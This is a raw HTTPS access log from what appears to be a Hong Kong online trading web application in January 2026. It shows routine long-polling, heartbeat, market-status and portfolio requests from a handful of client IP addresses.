[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922690050 HTTP/1.1" -
[09/Jan/2026:09:33:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922693071 HTTP/1.1" -
[09/Jan/2026:09:33:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922705201 HTTP/1.1" -
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 212
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922691060 HTTP/1.1" -
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922691086 HTTP/1.1" -
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 757
[09/Jan/2026:09:33:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922695101 HTTP/1.1" -
[09/Jan/2026:09:33:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922710228 HTTP/1.1" -
[09/Jan/2026:09:33:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922698318 HTTP/1.1" -
[09/Jan/2026:09:33:47 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922696289 HTTP/1.1" -
[09/Jan/2026:09:33:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922697047 HTTP/1.1" -
[09/Jan/2026:09:33:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922700121 HTTP/1.1" -
[09/Jan/2026:09:33:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922715290 HTTP/1.1" -
[09/Jan/2026:09:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922703436 HTTP/1.1" -
[09/Jan/2026:09:33:53 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922702298 HTTP/1.1" -
[09/Jan/2026:09:33:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922703061 HTTP/1.1" -
[09/Jan/2026:09:33:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922705164 HTTP/1.1" -
[09/Jan/2026:09:33:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922720357 HTTP/1.1" -
[09/Jan/2026:09:33:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922708561 HTTP/1.1" -
[09/Jan/2026:09:33:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:09:33:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:33:58 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922707399 HTTP/1.1" -
[09/Jan/2026:09:34:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922709054 HTTP/1.1" -
[09/Jan/2026:09:34:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922710186 HTTP/1.1" -
[09/Jan/2026:09:34:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922725423 HTTP/1.1" -
[09/Jan/2026:09:34:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922713667 HTTP/1.1" -
[09/Jan/2026:09:34:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922715236 HTTP/1.1" -
[09/Jan/2026:09:34:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922715051 HTTP/1.1" -
[09/Jan/2026:09:34:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922730477 HTTP/1.1" -
[09/Jan/2026:09:34:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922718735 HTTP/1.1" -
[09/Jan/2026:09:34:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:34:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:34:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922720259 HTTP/1.1" -
[09/Jan/2026:09:34:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922735501 HTTP/1.1" -
[09/Jan/2026:09:34:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922723859 HTTP/1.1" -
[09/Jan/2026:09:34:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922721049 HTTP/1.1" -
[09/Jan/2026:09:34:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:34:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922725294 HTTP/1.1" -
[09/Jan/2026:09:34:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922740532 HTTP/1.1" -
[09/Jan/2026:09:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922728994 HTTP/1.1" -
[09/Jan/2026:09:34:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922727051 HTTP/1.1" -
[09/Jan/2026:09:34:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922730313 HTTP/1.1" -
[09/Jan/2026:09:34:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:34:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922745565 HTTP/1.1" -
[09/Jan/2026:09:34:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922734127 HTTP/1.1" -
[09/Jan/2026:09:34:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922733061 HTTP/1.1" -
[09/Jan/2026:09:34:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:34:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:34:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922735363 HTTP/1.1" -
[09/Jan/2026:09:34:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922750638 HTTP/1.1" -
[09/Jan/2026:09:34:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922739276 HTTP/1.1" -
[09/Jan/2026:09:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:34:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922739679 HTTP/1.1" -
[09/Jan/2026:09:34:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922740378 HTTP/1.1" -
[09/Jan/2026:09:34:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922755713 HTTP/1.1" -
[09/Jan/2026:09:34:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922744341 HTTP/1.1" -
[09/Jan/2026:09:34:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922745056 HTTP/1.1" -
[09/Jan/2026:09:34:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922745434 HTTP/1.1" -
[09/Jan/2026:09:34:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922760801 HTTP/1.1" -
[09/Jan/2026:09:34:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922749549 HTTP/1.1" -
[09/Jan/2026:09:34:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:34:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:34:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922750482 HTTP/1.1" -
